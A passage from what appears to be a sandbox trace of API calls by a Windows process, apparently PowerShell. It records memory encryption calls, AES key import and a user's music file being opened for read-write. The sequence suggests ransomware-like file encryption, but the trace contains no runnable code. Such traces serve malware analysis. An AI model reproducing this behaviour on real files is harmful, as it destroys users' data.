Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.507] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0134.507] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0134.507] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.507] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNm쿼沓ꇑ੎촢럝") returned 0x20 [0134.507] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.507] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0134.507] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0134.507] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.507] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI沓ꇑ੎촢럝") returned 0x20 [0134.507] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.507] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0134.508] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0134.508] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.508] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3ꇑ੎촢럝") returned 0x20 [0134.508] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.508] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0134.508] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0134.508] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.508] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3Y੎촢럝") returned 0x20 [0134.508] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.508] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0134.508] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0134.508] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.508] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YT촢럝") returned 0x20 [0134.508] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.508] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0134.508] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0134.508] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.508] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZ럝") returned 0x20 [0134.509] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.509] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0134.509] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0134.509] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.509] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZl") returned 0x20 [0134.509] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.509] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0134.509] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0134.509] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0134.509] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x28 [0134.509] SystemFunction041 (in: Memory=0x43834a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43834a4) returned 0x0 [0134.509] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYᘎ柟፽굥ᑋ") returned 0x28 [0134.509] SystemFunction040 (in: Memory=0x43834a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43834a4) returned 0x0 [0134.509] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0134.509] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0134.509] SystemFunction041 (in: Memory=0x43834a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43834a4) returned 0x0 [0134.509] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYm柟፽굥ᑋ") returned 0x28 [0134.509] SystemFunction040 (in: Memory=0x43834a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43834a4) returned 0x0 [0134.510] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0134.510] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0134.510] SystemFunction041 (in: Memory=0x43834a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43834a4) returned 0x0 [0134.510] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY፽굥ᑋ") returned 0x28 [0134.510] SystemFunction040 (in: Memory=0x43834a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43834a4) returned 0x0 [0134.510] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0134.510] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0134.510] SystemFunction041 (in: Memory=0x43834a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43834a4) returned 0x0 [0134.510] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0፽굥ᑋ") returned 0x28 [0134.510] SystemFunction040 (in: Memory=0x43834a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43834a4) returned 0x0 [0134.510] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0134.510] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0134.510] SystemFunction041 (in: Memory=0x43834a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43834a4) returned 0x0 [0134.510] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0N굥ᑋ") returned 0x28 [0134.510] SystemFunction040 (in: Memory=0x43834a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43834a4) returned 0x0 [0134.510] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0134.510] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0134.510] SystemFunction041 (in: Memory=0x43834a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43834a4) returned 0x0 [0134.511] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTᑋ") returned 0x28 [0134.511] SystemFunction040 (in: Memory=0x43834a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43834a4) returned 0x0 [0134.511] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0134.511] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0134.511] SystemFunction041 (in: Memory=0x43834a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43834a4) returned 0x0 [0134.511] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTAᑋ") returned 0x28 [0134.511] SystemFunction040 (in: Memory=0x43834a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43834a4) returned 0x0 [0134.511] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0134.511] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0134.511] SystemFunction041 (in: Memory=0x43834a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43834a4) returned 0x0 [0134.511] SystemFunction040 (in: Memory=0x43834a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43834a4) returned 0x0 [0134.511] SystemFunction041 (in: Memory=0x8e30b0c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b0c) returned 0x0 [0134.511] SystemFunction040 (in: Memory=0x8e30b0c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b0c) returned 0x0 [0134.512] SystemFunction041 (in: Memory=0x8e30b0c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b0c) returned 0x0 [0134.512] SystemFunction040 (in: Memory=0x8e30b0c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b0c) returned 0x0 [0134.512] SystemFunction041 (in: Memory=0x8e30b0c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b0c) returned 0x0 [0134.512] SystemFunction040 (in: Memory=0x8e30b0c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b0c) returned 0x0 [0134.512] SystemFunction041 (in: Memory=0x8e30b0c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b0c) returned 0x0 [0134.512] SystemFunction040 (in: Memory=0x8e30b0c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b0c) returned 0x0 [0134.512] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3c, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.512] SystemFunction041 (in: Memory=0x8e30b0c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b0c) returned 0x0 [0134.512] SystemFunction040 (in: Memory=0x8e30b0c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b0c) returned 0x0 [0134.513] CryptAcquireContextW (in: phProv=0x99ae630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae630*=0x4396e78) returned 1 [0134.514] CryptImportKey (in: hProv=0x4396e78, pbData=0x6a135b8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99aea04 | out: phKey=0x99aea04*=0x8e84ff8) returned 1 [0134.514] CryptContextAddRef (hProv=0x4396e78, pdwReserved=0x0, dwFlags=0x0) returned 1 [0134.514] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.514] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3d, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.514] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3c, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.514] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3d, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3d, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.515] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\863xTgYliRZqB.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\863xtgylirzqb.mp3")) returned 0x20 [0134.516] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\863xTgYliRZqB.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\863xtgylirzqb.mp3")) returned 0x20 [0134.516] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\863xTgYliRZqB.mp3", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\863xTgYliRZqB.mp3", lpFilePart=0x0) returned 0x2d [0134.516] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\863xTgYliRZqB.mp3", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\863xTgYliRZqB.mp3", lpFilePart=0x0) returned 0x2d [0134.516] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3d, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.516] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\863xTgYliRZqB.mp3", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\863xTgYliRZqB.mp3", lpFilePart=0x0) returned 0x2d [0134.516] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\863xTgYliRZqB.mp3", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\863xTgYliRZqB.mp3", lpFilePart=0x0) returned 0x2d [0134.516] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.516] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3e, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.516] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3d, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.516] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3e, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3e, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.517] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\863xTgYliRZqB.mp3", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\863xTgYliRZqB.mp3", lpFilePart=0x0) returned 0x2d [0134.517] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0134.517] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\863xTgYliRZqB.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\863xtgylirzqb.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0134.517] GetFileType (hFile=0x858) returned 0x1 [0134.517] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0134.517] GetFileType (hFile=0x858) returned 0x1 [0134.517] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3e, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.517] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x1000\x727a\xe48c\x99a\x2810\x64b\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x20") returned 0x0 [0134.518] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3f, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.518] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3e, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, 